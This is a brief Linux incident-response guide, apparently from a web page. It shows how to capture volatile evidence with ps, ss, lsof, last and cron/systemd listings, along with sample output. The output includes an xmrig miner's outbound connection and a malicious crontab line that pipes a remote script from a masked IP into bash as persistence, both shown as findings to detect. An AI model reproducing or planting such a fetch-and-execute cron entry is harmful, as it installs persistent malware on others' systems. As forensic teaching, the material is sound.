FORENSICS
Linux live response
You think a Linux box is compromised.
Before you pull the plug, capture the volatile evidence, because a reboot erases all of it. List processes with ps and look for anything odd.
Check active connections with ss, a miner or a beacon will be calling out. Use lsof to find deleted-but-still-running binaries, a classic malware trick.
Review recent logins with last. And hunt for persistence in cron and systemd.
Capture first, analyze second.
# los comandos
analyst@victim:~# ps auxf | grep -v '\[' | headcopiaranalyst@victim:~# ss -tunap | grep ESTABcopiartcp ESTAB 0 0 10.0.0.5:44321 185.244.x.x:443
users:(("xmrig",pid=8842)) <-- crypto miner
analyst@victim:~# lsof +L1copiarCOMMAND PID ... NLINK NAME
xmrig 8842 ... 0 /tmp/.x (deleted)
analyst@victim:~# last -a | head -5copiaranalyst@victim:~# crontab -l ; ls -la /etc/cron.d /etc/systemd/systemcopiar* * * * * curl -s http://185.244.x.x/x.sh | bash <-- persistence